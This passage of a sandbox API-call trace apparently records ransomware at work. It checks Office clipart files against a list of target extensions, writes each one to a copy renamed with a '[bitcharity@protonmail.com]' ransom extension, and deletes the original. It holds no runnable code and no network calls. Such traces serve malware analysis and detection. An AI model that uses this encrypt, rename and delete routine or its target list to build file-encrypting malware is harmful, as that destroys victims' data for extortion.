Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0289.045] lstrlenW (lpString=".dbf") returned 4 [0289.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0289.045] lstrlenW (lpString=".1cd") returned 4 [0289.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0289.045] lstrlenW (lpString=".jpg") returned 4 [0289.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0289.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0289.045] lstrlenW (lpString=".doc") returned 4 [0289.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.045] lstrlenW (lpString=".docx") returned 5 [0289.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.045] lstrlenW (lpString=".pdf") returned 4 [0289.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.045] lstrlenW (lpString=".xls") returned 4 [0289.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.045] lstrlenW (lpString=".xlsx") returned 5 [0289.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.045] lstrlenW (lpString=".ppt") returned 4 [0289.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0289.045] lstrlenW (lpString=".zip") returned 4 [0289.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.045] lstrlenW (lpString=".rar") returned 4 [0289.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.046] lstrlenW (lpString=".bz2") returned 4 [0289.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.046] lstrlenW (lpString=".7z") returned 3 [0289.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0289.046] lstrlenW (lpString=".dbf") returned 4 [0289.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0289.046] lstrlenW (lpString=".1cd") returned 4 [0289.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0289.046] lstrlenW (lpString=".jpg") returned 4 [0289.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.046] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.046] lstrlenW (lpString="BS01080_.WMF") returned 12 [0289.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0289.046] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=2732) returned 1 [0289.047] CloseHandle (hObject=0x10d0) returned 1 [0289.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220 [0289.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0289.047] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.047] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0289.047] GetLastError () returned 0x0 [0289.047] ReadFile (in: hFile=0x10d0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0xaac, lpOverlapped=0x0) returned 1 [0289.049] WriteFile (in: hFile=0x1094, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xab0, lpOverlapped=0x0) returned 1 [0289.050] ReadFile (in: hFile=0x10d0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.051] WriteFile (in: hFile=0x1094, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0289.051] SetEndOfFile (hFile=0x1094) returned 1 [0289.051] CloseHandle (hObject=0x1094) returned 1 [0289.051] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.051] SetEndOfFile (hFile=0x10d0) returned 1 [0289.052] CloseHandle (hObject=0x10d0) returned 1 [0289.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0289.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0289.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0289.053] lstrlenW (lpString=".doc") returned 4 [0289.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.053] lstrlenW (lpString=".docx") returned 5 [0289.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.053] lstrlenW (lpString=".pdf") returned 4 [0289.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.053] lstrlenW (lpString=".xls") returned 4 [0289.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.053] lstrlenW (lpString=".xlsx") returned 5 [0289.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.053] lstrlenW (lpString=".ppt") returned 4 [0289.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0289.053] lstrlenW (lpString=".zip") returned 4 [0289.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.053] lstrlenW (lpString=".rar") returned 4 [0289.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.053] lstrlenW (lpString=".bz2") returned 4 [0289.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.053] lstrlenW (lpString=".7z") returned 3 [0289.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0289.053] lstrlenW (lpString=".dbf") returned 4 [0289.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0289.053] lstrlenW (lpString=".1cd") returned 4 [0289.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0289.053] lstrlenW (lpString=".jpg") returned 4 [0289.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0289.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0289.054] lstrlenW (lpString=".doc") returned 4 [0289.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.054] lstrlenW (lpString=".docx") returned 5 [0289.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.054] lstrlenW (lpString=".pdf") returned 4 [0289.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.054] lstrlenW (lpString=".xls") returned 4 [0289.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.054] lstrlenW (lpString=".xlsx") returned 5 [0289.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.054] lstrlenW (lpString=".ppt") returned 4 [0289.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0289.054] lstrlenW (lpString=".zip") returned 4 [0289.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.054] lstrlenW (lpString=".rar") returned 4 [0289.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.054] lstrlenW (lpString=".bz2") returned 4 [0289.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.054] lstrlenW (lpString=".7z") returned 3 [0289.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0289.054] lstrlenW (lpString=".dbf") returned 4 [0289.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0289.054] lstrlenW (lpString=".1cd") returned 4 [0289.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0289.054] lstrlenW (lpString=".jpg") returned 4 [0289.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.055] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.055] lstrlenW (lpString="BS01603_.WMF") returned 12 [0289.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0289.055] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=7176) returned 1 [0289.055] CloseHandle (hObject=0x10d0) returned 1 [0289.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220 [0289.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0289.055] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.055] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0289.056] GetLastError () returned 0x0 [0289.056] ReadFile (in: hFile=0x10d0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x1c08, lpOverlapped=0x0) returned 1 [0289.367] WriteFile (in: hFile=0x1094, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x1c10, lpOverlapped=0x0) returned 1 [0289.368] ReadFile (in: hFile=0x10d0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.368] WriteFile (in: hFile=0x1094, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0289.368] SetEndOfFile (hFile=0x1094) returned 1 [0289.368] CloseHandle (hObject=0x1094) returned 1 [0289.368] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.368] SetEndOfFile (hFile=0x10d0) returned 1 [0289.369] CloseHandle (hObject=0x10d0) returned 1 [0289.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0289.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0289.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0289.370] lstrlenW (lpString=".doc") returned 4 [0289.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.370] lstrlenW (lpString=".docx") returned 5 [0289.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.370] lstrlenW (lpString=".pdf") returned 4 [0289.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.370] lstrlenW (lpString=".xls") returned 4 [0289.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.370] lstrlenW (lpString=".xlsx") returned 5 [0289.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.370] lstrlenW (lpString=".ppt") returned 4 [0289.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0289.370] lstrlenW (lpString=".zip") returned 4 [0289.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.370] lstrlenW (lpString=".rar") returned 4 [0289.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.370] lstrlenW (lpString=".bz2") returned 4 [0289.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.370] lstrlenW (lpString=".7z") returned 3 [0289.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0289.370] lstrlenW (lpString=".dbf") returned 4 [0289.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0289.370] lstrlenW (lpString=".1cd") returned 4 [0289.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0289.370] lstrlenW (lpString=".jpg") returned 4 [0289.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0289.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0289.371] lstrlenW (lpString=".doc") returned 4 [0289.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.371] lstrlenW (lpString=".docx") returned 5 [0289.371] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.371] lstrlenW (lpString=".pdf") returned 4 [0289.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.371] lstrlenW (lpString=".xls") returned 4 [0289.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.371] lstrlenW (lpString=".xlsx") returned 5 [0289.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.371] lstrlenW (lpString=".ppt") returned 4 [0289.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0289.371] lstrlenW (lpString=".zip") returned 4 [0289.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.371] lstrlenW (lpString=".rar") returned 4 [0289.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.371] lstrlenW (lpString=".bz2") returned 4 [0289.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.371] lstrlenW (lpString=".7z") returned 3 [0289.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0289.371] lstrlenW (lpString=".dbf") returned 4 [0289.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0289.371] lstrlenW (lpString=".1cd") returned 4 [0289.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0289.371] lstrlenW (lpString=".jpg") returned 4 [0289.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.372] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.372] lstrlenW (lpString="CRANE.WMF") returned 9 [0289.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0289.496] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=5270) returned 1 [0289.496] CloseHandle (hObject=0x10bc) returned 1 [0289.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0289.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0289.497] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.497] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0289.497] GetLastError () returned 0x0 [0289.497] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x1496, lpOverlapped=0x0) returned 1 [0289.576] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0289.577] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.577] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xe6, lpOverlapped=0x0) returned 1 [0289.577] SetEndOfFile (hFile=0x10dc) returned 1 [0289.578] CloseHandle (hObject=0x10dc) returned 1 [0289.578] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.578] SetEndOfFile (hFile=0x10bc) returned 1 [0289.579] CloseHandle (hObject=0x10bc) returned 1 [0289.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0289.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0289.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0289.579] lstrlenW (lpString=".doc") returned 4 [0289.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.579] lstrlenW (lpString=".docx") returned 5 [0289.579] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0289.579] lstrlenW (lpString=".pdf") returned 4 [0289.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.579] lstrlenW (lpString=".xls") returned 4 [0289.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.579] lstrlenW (lpString=".xlsx") returned 5 [0289.579] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0289.579] lstrlenW (lpString=".ppt") returned 4 [0289.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0289.580] lstrlenW (lpString=".zip") returned 4 [0289.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.580] lstrlenW (lpString=".rar") returned 4 [0289.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.580] lstrlenW (lpString=".bz2") returned 4 [0289.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.580] lstrlenW (lpString=".7z") returned 3 [0289.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0289.580] lstrlenW (lpString=".dbf") returned 4 [0289.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0289.580] 